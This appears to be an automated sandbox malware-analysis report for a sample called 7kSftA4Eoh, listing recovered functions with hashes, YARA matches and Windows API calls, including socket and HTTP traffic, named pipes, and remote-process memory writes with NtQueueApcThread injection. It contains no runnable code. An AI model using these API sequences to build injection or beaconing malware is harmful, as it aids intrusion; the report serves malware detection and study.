Opcode Fuzzy Hash: ce50915e01d19d553e501072b1d9aa96a4661ac9f51e51d5d5a12a94cd83616d
Instruction Fuzzy Hash: 7B0136CBE5EED40AD72376640E7A1D82FADA4B6F3534D814ECB5053283F4CA5D055212

Function 004092E4 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943532f7ff775f6c9632ad134db5b43a8581d7d914136b19b322c0d495756f2
Instruction ID: 040a81dcf2f050336bda00ad6163e1b97f4a0e7d9bd373c2026e90d71216a3c6
Opcode Fuzzy Hash: 3943532f7ff775f6c9632ad134db5b43a8581d7d914136b19b322c0d495756f2
Instruction Fuzzy Hash: 4DD0C7D7F5DFD096D32281A40CB60593F91B4F291031E80AF4E40A33D3741C1C055315

Function 009BE628 Relevance: .0, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 346746c420873f5115eefdb694fe7c4ecc9345e885989bf490d76ed756ab699a
Instruction ID: 0f26f9567e189b2c13289b42b0608cbdf9b2efb83227e6d68dd31f271b7da4a2
Opcode Fuzzy Hash: 346746c420873f5115eefdb694fe7c4ecc9345e885989bf490d76ed756ab699a
Instruction Fuzzy Hash: 8ED05ECBE1DBD486E36382684E2D2C92F6CA172A3074C408FC74006393E44A2801D311

Function 009BE050 Relevance: .0, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7077a8aff73e726294d064c0100d8d9a6f69cbf49f20d4d8a9feb05e8568bc26
Instruction ID: 122cdc85b36f9b2d01b635b9443545710c3fd5c81193500c444b5acb9b787d9b
Opcode Fuzzy Hash: 7077a8aff73e726294d064c0100d8d9a6f69cbf49f20d4d8a9feb05e8568bc26
Instruction Fuzzy Hash: 8EC04C57A189D04797126E1409A61D42B9AE5D2D3238E82998D5143D43514A5C17A311

Function 009BE4E8 Relevance: .0, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e22b888f4c5b362cda7f8ac34c3812d6ca885ba57bea4ef0bbaaf1add4c6c28a
Instruction ID: f0417758bf733833de28a2c53c38d17da1fcecface7511996c469d52c4a9ad68
Opcode Fuzzy Hash: e22b888f4c5b362cda7f8ac34c3812d6ca885ba57bea4ef0bbaaf1add4c6c28a
Instruction Fuzzy Hash: 82C0129BE1DED44AE32341540D790ED3E9A90B2D2030D4146CF4802163A1450C005351

Function 00402F69 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4125858105.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4125823781.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125902897.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125926800.0000000000405000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4125980244.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7kSftA4Eoh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19992302b57e0ae1e896caf69d358159d2cdd7c295cfb7410856e5c68f34a958
Instruction ID: 82f505fb4451acb9e8d1e12f81e5a21f5fcc3540fe401e05c5c992db50528185
Opcode Fuzzy Hash: 19992302b57e0ae1e896caf69d358159d2cdd7c295cfb7410856e5c68f34a958
Instruction Fuzzy Hash: 62A0029244DD0290E3101B40D9413A07279D306240F0424A6421461072853D8520414C

Function 009BE080 Relevance: .0, Instructions: 1COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb8c4c6d7fc14fd894257e5a33dd5e098ea0c5a1cb046d3cc17427a3c123cd46
Instruction ID: 1fc194a69245e0f6854222b8023b07c3011217efdf892c475f715209dacd2de4
Opcode Fuzzy Hash: fb8c4c6d7fc14fd894257e5a33dd5e098ea0c5a1cb046d3cc17427a3c123cd46
Instruction Fuzzy Hash:

Function 009A5248 Relevance: 22.7, APIs: 15, Instructions: 195networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 009A52A5
select.WS2_32 ref: 009A5313
__WSAFDIsSet.WS2_32 ref: 009A532B
accept.WS2_32 ref: 009A5348
ioctlsocket.WS2_32 ref: 009A5360
__WSAFDIsSet.WS2_32 ref: 009A5403
accept.WS2_32 ref: 009A5419

Part of subcall function 009A4154: ioctlsocket.WS2_32 ref: 009A4176

__WSAFDIsSet.WS2_32 ref: 009A549B
__WSAFDIsSet.WS2_32 ref: 009A54B3
closesocket.WS2_32 ref: 009A5575

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: acceptioctlsocket$closesockethtonlselect
String ID:
API String ID: 2003300010-0
Opcode ID: c3319fb4cbf24cbfdae2e174894a45f5c1125c925141e30d007c99f121c1abae
Instruction ID: 03a76550cd21852c72f7377e6785589be9ed38a5d0c09a1ec000fefc2c4dcaa6
Opcode Fuzzy Hash: c3319fb4cbf24cbfdae2e174894a45f5c1125c925141e30d007c99f121c1abae
Instruction Fuzzy Hash: 96918D72710B91DADB20DF25E9807AD33A9F7887A8F404125EB5E47B58EF38C664CB40

Function 009A9DE4 Relevance: 19.7, APIs: 13, Instructions: 238stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

_time64.LIBCMT ref: 009A9E2E
malloc.LIBCMT ref: 009A9E57
strtok.LIBCMT ref: 009A9E93
strtok.LIBCMT ref: 009A9EC1
_time64.LIBCMT ref: 009A9ECF
malloc.LIBCMT ref: 009AA07B
strtok.LIBCMT ref: 009AA0CE
strtok.LIBCMT ref: 009AA150

Part of subcall function 009AD4B4: _getptd.LIBCMT ref: 009AD4D3

free.LIBCMT ref: 009AA161

Part of subcall function 009AB1E8: HeapFree.KERNEL32 ref: 009AB1FE
Part of subcall function 009AB1E8: _errno.LIBCMT ref: 009AB208
Part of subcall function 009AB1E8: GetLastError.KERNEL32 ref: 009AB210

malloc.LIBCMT ref: 009AA179
strtok.LIBCMT ref: 009AA1AB

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: strtok$malloc$_time64$ErrorFreeHeapLast_errno_getptdfree
String ID:
API String ID: 620445413-0
Opcode ID: f3941ba55fe43d2af69a1b800eaf21d8c24c130adf4bc5f8194ce19ef3ab75b1
Instruction ID: 62cf8f6522b447cdf9900a383900b1450d5c8e0717fa2fd7c8a49d1c3502b4d7
Opcode Fuzzy Hash: f3941ba55fe43d2af69a1b800eaf21d8c24c130adf4bc5f8194ce19ef3ab75b1
Instruction Fuzzy Hash: C1A11471245784DAEB14DF25F99032977A9F7467A8F10462BDA2A473B3CB3DC8A0C780

Function 009A3B10 Relevance: 19.6, APIs: 13, Instructions: 105pipesleepfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 009A3D14
GetTickCount.KERNEL32 ref: 009A3D20
CreateFileA.KERNEL32 ref: 009A3D4E
GetLastError.KERNEL32 ref: 009A3D5D
WaitNamedPipeA.KERNEL32 ref: 009A3D72
Sleep.KERNEL32 ref: 009A3D7F
GetTickCount.KERNEL32 ref: 009A3D85
GetLastError.KERNEL32 ref: 009A3D9B
GetLastError.KERNEL32 ref: 009A3DB3
SetNamedPipeHandleState.KERNEL32 ref: 009A3DDE
GetLastError.KERNEL32 ref: 009A3DE8
DisconnectNamedPipe.KERNEL32 ref: 009A3E62
CloseHandle.KERNEL32 ref: 009A3E6B

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ErrorLast$CountNamedPipeTick$Handle$CloseCreateDisconnectFileSleepStateWait
String ID:
API String ID: 832653698-0
Opcode ID: 0a85449faa1f51963aa2df0f1b09b7c9b8b21afb2d13fdae2c291ed2339458a4
Instruction ID: 37dfddd022a91b3fd471fc723392e40feccd3b51673309d2d3fc62e4ac2d8d9d
Opcode Fuzzy Hash: 0a85449faa1f51963aa2df0f1b09b7c9b8b21afb2d13fdae2c291ed2339458a4
Instruction Fuzzy Hash: 01415C36704B00C6EB04DF61F8587AD33A9E789BA4F108625EE6A47BA5DF38C9458780

Function 0099E8D4 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 130networksleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0099E971

Part of subcall function 009AB5DC: _errno.LIBCMT ref: 009AB613
Part of subcall function 009AB5DC: _invalid_parameter_noinfo.LIBCMT ref: 009AB61E

_snprintf.LIBCMT ref: 0099E98D
_snprintf.LIBCMT ref: 0099EA03
_snprintf.LIBCMT ref: 0099EA1A

Part of subcall function 009AB5DC: _flsbuf.LIBCMT ref: 009AB67D

HttpOpenRequestA.WININET ref: 0099EA66
HttpSendRequestA.WININET ref: 0099EA99
InternetCloseHandle.WININET ref: 0099EAAE
Sleep.KERNEL32 ref: 0099EAB9
InternetCloseHandle.WININET ref: 0099EACC

Strings

*/*, xrefs: 0099E8FA
%s%s, xrefs: 0099EA0F

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _snprintf$CloseHandleHttpInternetRequest$OpenSendSleep_errno_flsbuf_invalid_parameter_noinfo
String ID: %s%s$*/*
API String ID: 3364845851-856325523
Opcode ID: 0694fbe2251f325486d7db104ce5f9bbd3e0ba48dceb4aa3373eff9f8ea386f1
Instruction ID: 095cd4892c31e8a9189a8875d1357c23dac360fedcdc57eaf9f26107f956ef72
Opcode Fuzzy Hash: 0694fbe2251f325486d7db104ce5f9bbd3e0ba48dceb4aa3373eff9f8ea386f1
Instruction Fuzzy Hash: 5A51CD36600B858AEB00DF65E8803DD77A4F7D97A8F500226EE4E53B66DF38C545CB40

Function 009A233C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 113threadsleeplibraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009A23A6
GetProcAddress.KERNEL32 ref: 009A23B6

Part of subcall function 009A2258: malloc.LIBCMT ref: 009A2296
Part of subcall function 009A2258: VirtualAllocEx.KERNEL32 ref: 009A22E1
Part of subcall function 009A2258: WriteProcessMemory.KERNEL32 ref: 009A2305
Part of subcall function 009A2258: free.LIBCMT ref: 009A231B

OpenThread.KERNEL32 ref: 009A2420
CloseHandle.KERNEL32 ref: 009A2447
Thread32Next.KERNEL32 ref: 009A2454
CloseHandle.KERNEL32 ref: 009A2460
Sleep.KERNEL32 ref: 009A246B
ReadProcessMemory.KERNEL32 ref: 009A248C
WriteProcessMemory.KERNEL32 ref: 009A24BF

Strings

NtQueueApcThread, xrefs: 009A23AC
ntdll, xrefs: 009A2371

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: HandleMemoryProcess$CloseWrite$AddressAllocModuleNextOpenProcReadSleepThreadThread32Virtualfreemalloc
String ID: NtQueueApcThread$ntdll
API String ID: 2809487561-1374908105
Opcode ID: 6afc254592d4cf48379ec8e8f43c23ff634562f8866ac748569cc3e6c81e8475
Instruction ID: 69d6f337646a3eace224820f1483ee15821b99c8c325985a409caeaab83a1836
Opcode Fuzzy Hash: 6afc254592d4cf48379ec8e8f43c23ff634562f8866ac748569cc3e6c81e8475
Instruction Fuzzy Hash: 02413532701B018AEB20CF66E9543AD33B9FB89B98F544525DE4D57B29EF38C545C780

Function 009ABDB0 Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009ABDD6

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_invalid_parameter_noinfo.LIBCMT ref: 009ABDE2
__crtIsPackagedApp.LIBCMT ref: 009ABDF3
AreFileApisANSI.KERNEL32 ref: 009ABE02
MultiByteToWideChar.KERNEL32 ref: 009ABE28
GetLastError.KERNEL32 ref: 009ABE35
_dosmaperr.LIBCMT ref: 009ABE3D

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ApisByteCharErrorFileLastMultiPackagedWide__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1138158220-0
Opcode ID: 3eec2c287576479eba86d9e5720364ab898d7a35fbd0fd2be876452c635e7a1b
Instruction ID: 04f0489a611dc50cc001d521f75bbcae1fb2ac10bf17fede61145108ad07ab23
Opcode Fuzzy Hash: 3eec2c287576479eba86d9e5720364ab898d7a35fbd0fd2be876452c635e7a1b
Instruction Fuzzy Hash: 5121B372305B0086EB20AF76E81536DB7E5FBC6FA4F144924DA4A47796DF7CC4008380

Function 009ABF0C Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 009ABF1D
free.LIBCMT ref: 009ABF3A

Part of subcall function 009AB1E8: HeapFree.KERNEL32 ref: 009AB1FE
Part of subcall function 009AB1E8: _errno.LIBCMT ref: 009AB208
Part of subcall function 009AB1E8: GetLastError.KERNEL32 ref: 009AB210

free.LIBCMT ref: 009ABF4F
free.LIBCMT ref: 009ABF70
free.LIBCMT ref: 009ABF85
free.LIBCMT ref: 009ABF99
free.LIBCMT ref: 009ABFA5
free.LIBCMT ref: 009ABFD0
EncodePointer.KERNEL32 ref: 009ABFD8
free.LIBCMT ref: 009ABFF1
free.LIBCMT ref: 009AC00A
free.LIBCMT ref: 009AC03B

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$Pointer$DecodeEncodeErrorFreeHeapLast_errno
String ID:
API String ID: 4099253644-0
Opcode ID: 35aca9194c528ae9650a35c73d1bdbf2d60b0283d2e9458ab8899a63ba071189
Instruction ID: 7bb847ef4b79f54dff66893912eaac2961d697402a1fc0694c4f877cb0f934ff
Opcode Fuzzy Hash: 35aca9194c528ae9650a35c73d1bdbf2d60b0283d2e9458ab8899a63ba071189
Instruction Fuzzy Hash: 23312F22389A0186FF15EB91ED613786769FB96BA8F4C0226D91907273EF3CC840C790

Function 009A5970 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 009A599E
select.WS2_32 ref: 009A59F5
__WSAFDIsSet.WS2_32 ref: 009A5A04
__WSAFDIsSet.WS2_32 ref: 009A5A1C
GetTickCount.KERNEL32 ref: 009A5A25
gethostbyname.WS2_32 ref: 009A5A38
htons.WS2_32 ref: 009A5A50
inet_addr.WS2_32 ref: 009A5A62
sendto.WS2_32 ref: 009A5A8B

Strings

d, xrefs: 009A59AF

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: CountTick$gethostbynamehtonsinet_addrselectsendto
String ID: d
API String ID: 1257931466-2564639436
Opcode ID: 88a0dad43e10c1c2d02976864a9ec383be54b38174a8cea9b784459703743c46
Instruction ID: cfafed489a822544a77eceaa7f39cc6a4761cc453b6227d2fff0dd76b3a1979f
Opcode Fuzzy Hash: 88a0dad43e10c1c2d02976864a9ec383be54b38174a8cea9b784459703743c46
Instruction Fuzzy Hash: 7C316C32325B85D6DB61CF21E9843DA73A8F788B98F015126EE8E47B28DF78C555CB40

Function 03562003 Relevance: 16.6, APIs: 11, Instructions: 108COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 03562035

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

__doserrno.LIBCMT ref: 0356202C

Part of subcall function 0355CDE7: _getptd_noexit.LIBCMT ref: 0355CDEB

__doserrno.LIBCMT ref: 03562092
_errno.LIBCMT ref: 03562099
_invalid_parameter_noinfo.LIBCMT ref: 035620FD

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: 203a2b38f817d4d23a6501c1524f63e085a1b9106d7fef7525e1a372d16d7569
Instruction ID: 82e9c0f39043657cc6c225599ab9c5f47434e1e2853e5acc0122577f65697309
Opcode Fuzzy Hash: 203a2b38f817d4d23a6501c1524f63e085a1b9106d7fef7525e1a372d16d7569
Instruction Fuzzy Hash: 01310870218B464FD359EF68AC9163936F0FB86334F060A5EE8668B2B1D674A801C392

Function 009A6029 Relevance: 16.6, APIs: 11, Instructions: 99threadCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 009A605E
GetLastError.KERNEL32 ref: 009A606C
UpdateProcThreadAttribute.KERNEL32 ref: 009A60AC
GetLastError.KERNEL32 ref: 009A60B6
CloseHandle.KERNEL32 ref: 009A60CB
GetCurrentProcess.KERNEL32 ref: 009A60EC
DuplicateHandle.KERNEL32 ref: 009A6114
GetCurrentProcess.KERNEL32 ref: 009A612D
DuplicateHandle.KERNEL32 ref: 009A6150
GetCurrentProcess.KERNEL32 ref: 009A615F
DuplicateHandle.KERNEL32 ref: 009A6183

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: HandleProcess$CurrentDuplicate$ErrorLast$AttributeCloseOpenProcThreadUpdate
String ID:
API String ID: 2151055714-0
Opcode ID: 0480154427d5172fff179a76570534ed64184663f59270bef32bb2a4aa882687
Instruction ID: c629e5d455bc5e9791b999a2c04f12f1731e4e2dcd0e85438bc24a3c4faf5e69
Opcode Fuzzy Hash: 0480154427d5172fff179a76570534ed64184663f59270bef32bb2a4aa882687
Instruction Fuzzy Hash: C9419F32618B4487EB24CF62E8483997BA9F789FA8F080529EE4D43B56DF7CC545C740

Function 0099F6B4 Relevance: 16.6, APIs: 11, Instructions: 91sleepfilepipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0099F6D5
GetLastError.KERNEL32 ref: 0099F72F
GetTickCount.KERNEL32 ref: 0099F73A
Sleep.KERNEL32 ref: 0099F74A
GetLastError.KERNEL32 ref: 0099F757
WriteFile.KERNEL32 ref: 0099F78A
WriteFile.KERNEL32 ref: 0099F7B9
FlushFileBuffers.KERNEL32 ref: 0099F7D1
DisconnectNamedPipe.KERNEL32 ref: 0099F7DB
CloseHandle.KERNEL32 ref: 0099F7E5
Sleep.KERNEL32 ref: 0099F7F0

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: File$CountErrorLastSleepTickWrite$BuffersCloseDisconnectFlushHandleNamedPipe
String ID:
API String ID: 1326360348-0
Opcode ID: 4e79a0a58ab8dddb263587398078cda49ad1039685f1639a7590c56d7c38f5e4
Instruction ID: b25ad705c2b2c21b331004e8be062b9623a903094cb94c7508a558dc6df93de2
Opcode Fuzzy Hash: 4e79a0a58ab8dddb263587398078cda49ad1039685f1639a7590c56d7c38f5e4
